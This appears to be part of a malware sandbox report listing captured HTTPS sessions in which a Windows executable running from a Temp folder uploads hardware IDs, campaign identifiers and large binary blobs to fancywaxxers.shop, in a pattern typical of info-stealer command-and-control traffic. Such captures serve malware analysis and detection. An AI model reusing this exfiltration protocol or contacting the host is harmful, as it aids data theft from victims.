2025-01-03 14:21:16 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=VJ01PWVC8MJCKTX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15087 Host: fancywaxxers.shop
2025-01-03 14:21:16 UTC	15087	OUT	Data Raw: 2d 2d 56 4a 30 31 50 57 56 43 38 4d 4a 43 4b 54 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 30 33 35 46 37 33 45 46 35 30 41 45 46 35 35 38 32 32 44 31 46 34 39 37 38 30 32 31 30 38 36 0d 0a 2d 2d 56 4a 30 31 50 57 56 43 38 4d 4a 43 4b 54 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 56 4a 30 31 50 57 56 43 38 4d 4a 43 4b 54 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 56 4a 30 31 50 Data Ascii: --VJ01PWVC8MJCKTXContent-Disposition: form-data; name="hwid"8035F73EF50AEF55822D1F4978021086--VJ01PWVC8MJCKTXContent-Disposition: form-data; name="pid"2--VJ01PWVC8MJCKTXContent-Disposition: form-data; name="lid"PsFKDg--pablo--VJ01P
2025-01-03 14:21:17 UTC	1141	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:21:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7n4j97ph3rb6buenspv0hfl5ce; expires=Tue, 29 Apr 2025 08:07:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VvjduamomV3E0bj%2FxtuGS76EhkSINQLzJuXNSES9yRCc%2FgeEffsATtGFNaSEYpWY0UDT6DQJi0xR4QYUN3TwOO55%2BsS%2B4myz%2BFtYIzKwm30%2FMvxM3lT5kaJf%2Bd0qveta295yYg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc3a2634d3dc34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1548&min_rtt=1522&rtt_var=589&sent=10&recv=20&lost=0&retrans=0&sent_bytes=2843&recv_bytes=16025&delivery_rate=1918528&cwnd=181&unsent_bytes=0&cid=dcbf5820da10d179&ts=504&x=0"
2025-01-03 14:21:17 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-03 14:21:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49781	104.21.112.1	443	6012	C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 14:21:17 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HMJYF5Z9ZC3F1LL6AAD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19969 Host: fancywaxxers.shop
2025-01-03 14:21:17 UTC	15331	OUT	Data Raw: 2d 2d 48 4d 4a 59 46 35 5a 39 5a 43 33 46 31 4c 4c 36 41 41 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 30 33 35 46 37 33 45 46 35 30 41 45 46 35 35 38 32 32 44 31 46 34 39 37 38 30 32 31 30 38 36 0d 0a 2d 2d 48 4d 4a 59 46 35 5a 39 5a 43 33 46 31 4c 4c 36 41 41 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 48 4d 4a 59 46 35 5a 39 5a 43 33 46 31 4c 4c 36 41 41 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 Data Ascii: --HMJYF5Z9ZC3F1LL6AADContent-Disposition: form-data; name="hwid"8035F73EF50AEF55822D1F4978021086--HMJYF5Z9ZC3F1LL6AADContent-Disposition: form-data; name="pid"3--HMJYF5Z9ZC3F1LL6AADContent-Disposition: form-data; name="lid"PsFKDg--pa
2025-01-03 14:21:17 UTC	4638	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2025-01-03 14:21:18 UTC	1135	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:21:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=65r1v73f462cueniti022tokv8; expires=Tue, 29 Apr 2025 08:07:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZMWqZpq4E9NnFE15fMuKnvlKeEkRg9ivqsnz27aRXD0hNry1l1HkDxvOt%2BCA9lwuJN3nJqFuyuhGABj6%2F00RDnL73An31pjueEX94tFRzCc924MpNSVLU%2Basx7Dx%2FChE72NfUw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc3a26adee1424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1591&min_rtt=1589&rtt_var=601&sent=10&recv=24&lost=0&retrans=0&sent_bytes=2843&recv_bytes=20933&delivery_rate=1811414&cwnd=248&unsent_bytes=0&cid=0559581442e73be0&ts=615&x=0"
2025-01-03 14:21:18 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-03 14:21:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49792	104.21.112.1	443	6012	C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 14:21:19 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=AQ64EA56SQSZA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 954 Host: fancywaxxers.shop
2025-01-03 14:21:19 UTC	954	OUT	Data Raw: 2d 2d 41 51 36 34 45 41 35 36 53 51 53 5a 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 30 33 35 46 37 33 45 46 35 30 41 45 46 35 35 38 32 32 44 31 46 34 39 37 38 30 32 31 30 38 36 0d 0a 2d 2d 41 51 36 34 45 41 35 36 53 51 53 5a 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 41 51 36 34 45 41 35 36 53 51 53 5a 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 41 51 36 34 45 41 35 36 53 51 53 Data Ascii: --AQ64EA56SQSZAContent-Disposition: form-data; name="hwid"8035F73EF50AEF55822D1F4978021086--AQ64EA56SQSZAContent-Disposition: form-data; name="pid"1--AQ64EA56SQSZAContent-Disposition: form-data; name="lid"PsFKDg--pablo--AQ64EA56SQS
2025-01-03 14:21:19 UTC	1126	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:21:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cj5np7eavhellvdk1sr3do4m7d; expires=Tue, 29 Apr 2025 08:07:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=izXQn8bkGYSlNxaJ7I9UCUY0tYtw95cu9phswgrf5KfJsCqC3rsSpHiztqhGickRapJQIrbMmyJZqomnuv6LyOos5zkhSUCZ66PdlenGDH2DcF%2Fo0udGGrl1dRTcqZBX8CcXvA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc3a274dd3dc34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1531&min_rtt=1502&rtt_var=584&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2842&recv_bytes=1866&delivery_rate=1944074&cwnd=181&unsent_bytes=0&cid=c37e7859cc8c4059&ts=468&x=0"
2025-01-03 14:21:19 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-03 14:21:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49805	104.21.112.1	443	6012	C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 14:21:20 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=K6BD9O2NH6L0I1C User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 569891 Host: fancywaxxers.shop
2025-01-03 14:21:20 UTC	15331	OUT	Data Raw: 2d 2d 4b 36 42 44 39 4f 32 4e 48 36 4c 30 49 31 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 30 33 35 46 37 33 45 46 35 30 41 45 46 35 35 38 32 32 44 31 46 34 39 37 38 30 32 31 30 38 36 0d 0a 2d 2d 4b 36 42 44 39 4f 32 4e 48 36 4c 30 49 31 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4b 36 42 44 39 4f 32 4e 48 36 4c 30 49 31 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4b 36 42 44 39 Data Ascii: --K6BD9O2NH6L0I1CContent-Disposition: form-data; name="hwid"8035F73EF50AEF55822D1F4978021086--K6BD9O2NH6L0I1CContent-Disposition: form-data; name="pid"1--K6BD9O2NH6L0I1CContent-Disposition: form-data; name="lid"PsFKDg--pablo--K6BD9
2025-01-03 14:21:20 UTC	15331	OUT	Data Raw: 01 64 ba 10 41 03 fd f5 08 ff 39 dc 20 3b b4 a5 b2 5c 36 3b a1 db b5 d1 fb 99 e1 02 47 4d 75 84 e5 b9 f1 d2 00 e7 cd d2 ff ee 2b f8 ff be 64 00 7a 45 37 98 c5 81 44 0b 6a 31 17 b0 6b 7f 2d 67 32 6d 32 47 63 7d 53 d8 25 14 bf 6d 28 de 4e 4a c8 c1 38 78 2b ce dc b9 e7 57 d3 93 1b 10 01 17 d3 b2 9d 3d 71 a0 4d 99 f7 87 05 3a 7e 5b 9e 73 35 a4 a4 01 53 b7 09 2a 75 68 01 9b 6f 33 23 93 de 99 b3 c5 fa e4 e8 2e 3c 28 6e 34 22 e5 c9 e2 94 06 ff bb 6e 32 b5 ce 4a 51 7b 18 56 60 55 02 3b 0f fe 8f ca 2a 4c f9 59 cc 1c 05 89 09 82 dc 95 b9 cd 2e e2 3c d2 8a 72 03 77 31 c7 37 54 53 98 4c a2 21 5e 47 78 43 6e e5 53 08 6c bc ad f4 41 a4 29 16 f6 ff 09 ad 6d c5 a9 9a dd b1 0e ab 54 76 80 c8 13 cd 8d 9d 69 9d fc 09 f3 ab 75 75 f6 31 41 17 da d3 a3 ad 22 23 be e0 8e ef a6 Data Ascii: dA9 ;\6;GMu+dzE7Dj1k-g2m2Gc}S%m(NJ8x+W=qM:~[s5Suho3#.<(n4"n2JQ{V`U;LY.<rw17TSL!^GxCnSlA)mTviuu1A"#
2025-01-03 14:21:20 UTC	15331	OUT	Data Raw: 44 d2 96 43 60 ee e6 a2 a4 f8 84 58 07 e4 ba 1a b1 a9 32 2c eb 04 cb 87 21 cc 22 ad 66 cd ab cc 3a f7 71 73 d1 a7 a3 b7 33 7e 3d ae 66 51 a1 ed 77 99 9d c5 7f 0d 76 1b 0b c0 5a c5 8e 18 51 a6 53 1e 1a c9 f7 ad a2 9a 4d a9 f7 b9 b2 17 19 12 9b c3 9a 01 b8 4b e6 ec 60 41 b2 10 3f 94 04 5e 7e 8f 7e a2 5a 66 48 cf dd d1 62 bc b1 fd a8 6a d2 1c 22 ef aa ad 73 58 d9 9d d8 c7 db 90 60 bb 0a ec 18 e2 92 52 76 aa fa f3 cb d8 d1 48 a6 7a e9 50 ba 98 59 2b 43 1e 9a 34 6a 24 b7 e8 35 51 92 96 f5 ff 02 4b e1 98 24 05 b5 49 11 2a 81 7d e3 e3 81 63 37 07 f0 f6 39 49 60 29 33 94 34 f3 44 98 34 35 bd 3a f1 86 52 cb af d8 9b 5e da a3 bf 31 7d 9c 8a c4 16 c2 16 15 f2 d5 93 32 4e 0e f6 ab 16 53 0f bb 04 cd e1 48 93 41 35 c8 91 ce 72 ac 75 f8 19 5e c6 ba 41 3c 68 f2 43 9d 87 Data Ascii: DC`X2,!"f:qs3~=fQwvZQSMK`A?^~~ZfHbj"sX`RvHzPY+C4j$5QK$I*}c79I`)34D45:R^1}2NSHA5ru^A<hC
2025-01-03 14:21:20 UTC	15331	OUT	Data Raw: e0 c5 de b7 7a 6e b3 69 dd b9 8d 77 4c f2 02 3f f0 2a 56 a6 8b 8c 7f 1d 7a d7 5f 2e 96 6f 71 8f 60 7c 06 66 3e a6 85 4d 6b b4 30 fe 36 d8 99 59 df f1 13 63 74 85 b8 a5 cb c0 62 f2 b5 15 9c ef 7e d7 94 e8 d0 38 33 56 f1 b0 22 ed 91 be f8 df e4 ba d6 ea aa 22 1b 4e de df 72 82 e9 2f 73 cd 47 be 77 4f b5 ff 1b 1e a8 43 54 3d 26 f5 61 0e dc 3f b6 3f 76 72 45 9b 4d ad fe 72 2a 6d 21 b8 71 2d b6 ec 8b e1 f5 f1 3b 6b 46 53 7c c7 69 a9 a1 ac dc ab 7f 9d d8 f4 fe 64 a8 40 0b 71 fc fa 2d 76 63 6a 41 d6 0a 5f 38 b3 50 95 90 7e 2e 74 be 3f cc e1 53 7d f5 df ee 72 3f e5 5a 2f b6 72 aa c6 22 44 52 03 fd 07 59 6a 32 3e cb 13 6b 2f bd 97 4f 9b f0 81 f6 25 4e cc 2c c3 de 11 ab 54 71 40 51 75 98 d6 fe 6b b8 67 3f a7 93 c3 0a 55 70 5f fe 9a 8b f6 7f aa c1 bb 22 a5 72 8a d7 Data Ascii: zniwL?Vz_.oq`\|f>Mk06Yctb~83V""Nr/sGwOCT=&a??vrEMrm!q-;kFS\|id@q-vcjA_8P~.t?S}r?Z/r"DRYj2>k/O%N,Tq@Qukg?Up_"r
2025-01-03 14:21:20 UTC	15331	OUT	Data Raw: d2 27 69 ae d6 0e 6f 0c cc 71 99 a5 60 46 8f 4c d6 8b db 55 83 41 82 f0 bb d5 a8 22 e7 34 b1 38 fd 46 1a b4 60 85 31 0e 42 8c f5 60 4f 5c a1 31 9d 00 ba f0 85 f1 9b d3 8a 86 a2 b7 7a 53 f2 23 e9 1d 79 86 4a 18 ee af 82 e7 9b 48 cf 6b 07 e5 cf f3 41 35 04 70 be 59 ec 09 8b 3a c1 ec cb 29 48 db ea 11 de fd e8 91 b3 a8 fb d8 27 0f 93 15 a0 44 ea 0a 08 8d 7a 29 9b 85 2f c2 86 76 ef b2 e1 c2 48 c8 75 ab b3 58 d2 83 7c 25 3b 42 f3 df 7e 64 ab 81 a2 a6 a0 92 55 f4 af 93 e4 78 01 81 3f 73 ac 94 6b 73 b9 6b bc b5 fe ca 1a 17 b0 fb 6d fa 40 04 54 d0 6a ea 8a 2e b5 f1 ef 5d 3d 77 61 e1 e4 79 bf a4 45 9b 63 15 bf dc 8f bd 63 9a 9f 77 7e 44 27 2f f0 fc 67 ee d3 b1 af cc 7d 19 4d 37 4a 86 f9 fe 7f e7 ec ba 24 28 fd c5 83 54 82 79 90 19 03 cb ce bf 14 64 54 95 d3 d2 5a Data Ascii: 'ioq`FLUA"48F`1B`O\1zS#yJHkA5pY:)H'Dz)/vHuX\|%;B~dUx?skskm@Tj.]=wayEccw~D'/g}M7J$(TydTZ
2025-01-03 14:21:20 UTC	15331	OUT	Data Raw: bd 02 42 9c a6 39 5e b9 a8 28 1f e2 ee 36 e9 92 c9 4b c2 46 4d 60 30 79 cb 09 66 4e d0 48 50 9d c9 89 07 94 06 ab 02 e3 70 8f 7c 58 49 70 f1 7d c0 a4 c3 3c fe c8 0b 91 06 a7 a8 df b2 47 88 1f 12 cc 6d c3 bc 38 ef d9 a5 c5 72 2d 0f 36 cd cb a7 8d 26 e9 25 ff ce 8a a3 cc 5d 22 2f 50 6f 76 ee 3a 69 c8 70 fa 50 7b 27 55 71 99 a1 9b 49 2f 11 35 ba 12 32 fb 95 5c 17 54 ac 53 fb 53 44 4d 25 ee 83 3d ac 8b f5 f3 02 1f b1 89 4e e7 31 19 a6 7a 25 78 17 4d fc da a1 a3 61 8e 47 12 87 48 a7 c6 66 28 d3 5a b5 62 75 be ef 73 ee ee 1d 90 78 fc 86 aa b5 4d e4 8d 28 c2 ec cd d7 b5 1a 08 3f 02 20 95 31 3f ac 93 cf a0 f4 b0 8d f3 4f 94 01 bd cc 9c 4b 45 be 32 8a 50 78 34 71 3a 6a f3 76 80 86 5a 33 72 1b 7b f3 a3 c4 47 fa 4a 4d 92 12 3f 38 ac ab 5e 68 c9 42 c2 1e 18 38 1e 0b Data Ascii: B9^(6KFM`0yfNHPp\|XIp}<Gm8r-6&%]"/Pov:ipP{'UqI/52\TSSDM%=N1z%xMaGHf(ZbusxM(? 1?OKE2Px4q:jvZ3r{GJM?8^hB8
2025-01-03 14:21:20 UTC	15331	OUT	Data Raw: c3 2a 37 7a 83 2f 85 d1 d2 a3 0a b4 d8 47 b8 1b a3 41 64 06 3d cc c7 8f a4 a2 c6 d5 82 20 42 bc 4a 25 da 24 ed 30 78 38 ef 14 b0 f5 b6 71 86 3c 3d f9 e3 f0 9a c2 cb d9 c8 65 2d 72 c2 10 7a 23 27 50 6e b0 52 07 0a 7b c2 25 a1 a4 d7 b4 51 b8 7b e7 b4 9f 72 57 30 c8 25 3c 81 0b fe fb c4 81 f0 3e 12 63 28 26 5a 66 99 a8 32 c6 7d 1d 8a 0a 0d 3f ca 08 e5 6a 11 86 19 62 8b 0c eb a3 ae d7 8d ac 9c 30 5b 51 0b d8 9f e7 e8 53 2c 8b 04 a7 97 81 1e 66 2a d9 b3 95 3b 3c 6b fd 49 95 2b 12 53 6a b5 65 e8 38 11 d7 86 d2 2d 51 a8 4e fc 11 a5 48 30 ac 59 8b 8b 18 47 8e 5d e3 6f e8 f1 b1 bf 82 37 b0 72 1e b2 70 42 6c 0c 8b 7f 64 f8 91 93 70 08 43 ac c5 6c 62 cf bd 35 7b c5 f0 e0 23 7b 16 6f c8 4d e4 79 36 91 4b b6 2f 43 2f 9a 8c 54 17 38 26 66 46 5d 91 2e ab 03 12 7d c1 9b Data Ascii: 7z/GAd= BJ%$0x8q<=e-rz#'PnR{%Q{rW0%<>c(&Zf2}?jb0[QS,f;<kI+Sje8-QNH0YG]o7rpBldpClb5{#{oMy6K/C/T8&fF].}
2025-01-03 14:21:20 UTC	15331	OUT	Data Raw: be b3 fb 32 e5 d4 a6 92 27 e0 70 bc 81 52 a5 00 13 4d 90 f7 65 c3 82 03 1e 73 dc 98 be 86 7b 24 9f 32 78 d4 e0 5c 4e 6c fa b9 61 d6 ed b7 48 67 99 c2 63 0d 85 90 60 79 d4 ca fd ed e4 e4 a8 f2 90 7e 62 d1 97 da d7 2c eb a9 9b 4d 29 6e ea fc f4 fc c8 2b 61 29 07 63 fa 96 8d 5b 16 bf 20 ff 0e d2 1d 9b d5 a3 07 b1 44 07 31 61 14 19 66 dc 98 4b 53 2f 17 f9 ae e3 46 7c 7b 9b c7 04 e8 1a d5 5c df 03 c4 36 a0 13 0b 77 fe 36 5b 66 0c 9c 17 bd be b9 ca b0 5c 56 d4 13 b5 b3 cb 26 66 89 80 15 55 a2 97 d7 98 c4 8f ca ba f6 c0 59 08 ae 7a 9c 64 49 56 ef 11 b8 3f 02 8d fd 46 c0 36 fa b5 6c 63 c6 1e 20 98 65 da 8d 88 4f 17 e7 39 49 96 9c 92 c7 3f 8b d4 34 c4 2f e8 c3 f5 4b 7c e0 4b 64 41 c5 1d 38 54 f8 08 2d 41 15 d8 cd fc 1d 7f c6 ee c8 c1 77 fe 87 38 cb af 8f 1f b7 cd Data Ascii: 2'pRMes{$2x\NlaHgc`y~b,M)n+a)c[ D1afKS/F\|{\6w6[f\V&fUYzdIV?F6lc eO9I?4/K\|KdA8T-Aw8
2025-01-03 14:21:20 UTC	15331	OUT	Data Raw: 24 fb 2e 92 2b 5f 7e d6 f5 1f 19 75 e8 9c 6f b6 46 21 c2 d8 63 0b b9 4b ca 18 50 3c 67 08 11 e8 e9 5a 4c 73 0a 0a b1 f9 73 12 38 ef 49 71 ab f1 41 5f 35 73 5a 8c 56 13 72 0d 00 d1 4f a8 66 4e cc 78 6f 50 af 48 9b de ac 0f 22 d2 88 34 3d a5 2d 1a bf 3b 49 92 f7 a6 8f 86 06 ca bf 72 2f 44 64 57 3f 08 97 ca 61 21 f9 9a 38 e6 8a 8e f5 62 88 f7 d3 65 63 bc 93 23 f4 61 be 57 0b f9 9e 03 9c 9e 22 38 d4 07 a5 e7 4f e8 b4 f2 3c bc 12 96 79 7a 0f 1b 08 04 73 71 bc 9b 35 b5 8a 40 f2 08 95 ca 66 a6 57 20 e6 ef af 42 df c4 e2 fa 43 7d c1 8b be b9 33 1d 4d 2e e8 d0 9e dd e4 f5 c6 63 b8 32 86 ab 42 61 63 48 3f 36 4e f7 93 6c 6a 98 0c 40 4c d7 72 9e ee c0 24 8f f2 31 67 51 4b f5 c1 61 c4 c6 f0 db b6 3b 2d ca ec 88 d4 e1 81 b5 93 a4 5b a1 82 d9 46 27 cb 35 75 94 cb 75 2c Data Ascii: $.+_~uoF!cKP<gZLss8IqA_5sZVrOfNxoPH"4=-;Ir/DdW?a!8bec#aW"8O<yzsq5@fW BC}3M.c2BacH?6Nlj@Lr$1gQKa;-[F'5uu,
2025-01-03 14:21:20 UTC	15331	OUT	Data Raw: 0b e1 65 28 24 ba ce 7e eb e2 78 2a 76 73 1f 2a 57 95 1c 33 e5 f7 c0 cf 0c c4 f8 58 0c c0 b1 eb 27 31 48 6d ec 91 56 3e 5f bd 72 47 9f 15 6e a9 1e 66 70 00 08 cf bf dd ea ae 35 aa ad c9 90 e0 6c 07 2f a6 04 0a 11 6c 72 d7 e8 3d 23 fc 9e 33 8f 27 7c 8b 38 7b c5 2c b9 f5 c1 1d f2 f2 6e 47 58 53 a0 ac 3b 4e 3a c0 da 63 b9 41 50 bd 0d 45 76 90 40 31 dd 45 61 4a 98 3f 76 13 bd 3a a2 f1 29 3c 6f 74 e6 62 a1 3b 94 e1 ec a9 2c e1 09 d3 5c e5 66 cc 7b a2 3f a9 b9 55 47 84 c4 70 f6 29 c4 fa c5 20 79 b2 c6 48 82 cf 86 dd 60 cd 33 81 d4 3f ee 03 f4 58 50 f7 27 4b 95 41 fc 1a 17 6f 10 66 50 c6 0e 90 6b 65 49 9f 70 31 31 08 c1 65 a6 fb e1 26 07 59 ec f1 e5 53 9f 70 10 e0 9f f5 76 ff 2c 9f bd 71 f8 cc cd 15 41 f0 66 af 4d 5f f4 b5 d3 c9 36 02 cc 04 73 86 81 ee 16 7e 53 Data Ascii: e($~xvsW3X'1HmV>_rGnfp5l/lr=#3'\|8{,nGXS;N:cAPEv@1EaJ?v:)<otb;,\f{?UGp) yH`3?XP'KAofPkeIp11e&YSpv,qAfM_6s~S
2025-01-03 14:21:22 UTC	1139	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:21:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=is3jaof6f4si3ekhbk5q2c9pes; expires=Tue, 29 Apr 2025 08:08:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zOXFTioK8hZv0Y9UeNyr5lXDMwNRNo5BKgvqwujfW6S%2BQZz8oGwzuTimtyBr%2B9yTaz740lHLg1pBdeZC2v1AN18pHNrDf0%2BpF%2BTAlN8AvvlIIJdLAXUY1sPE94YgJ9FESAtsBg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc3a27daafa43b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1583&min_rtt=1576&rtt_var=606&sent=197&recv=586&lost=0&retrans=0&sent_bytes=2844&recv_bytes=572436&delivery_rate=1781574&cwnd=203&unsent_bytes=0&cid=e7965aa48e855792&ts=1579&x=0"

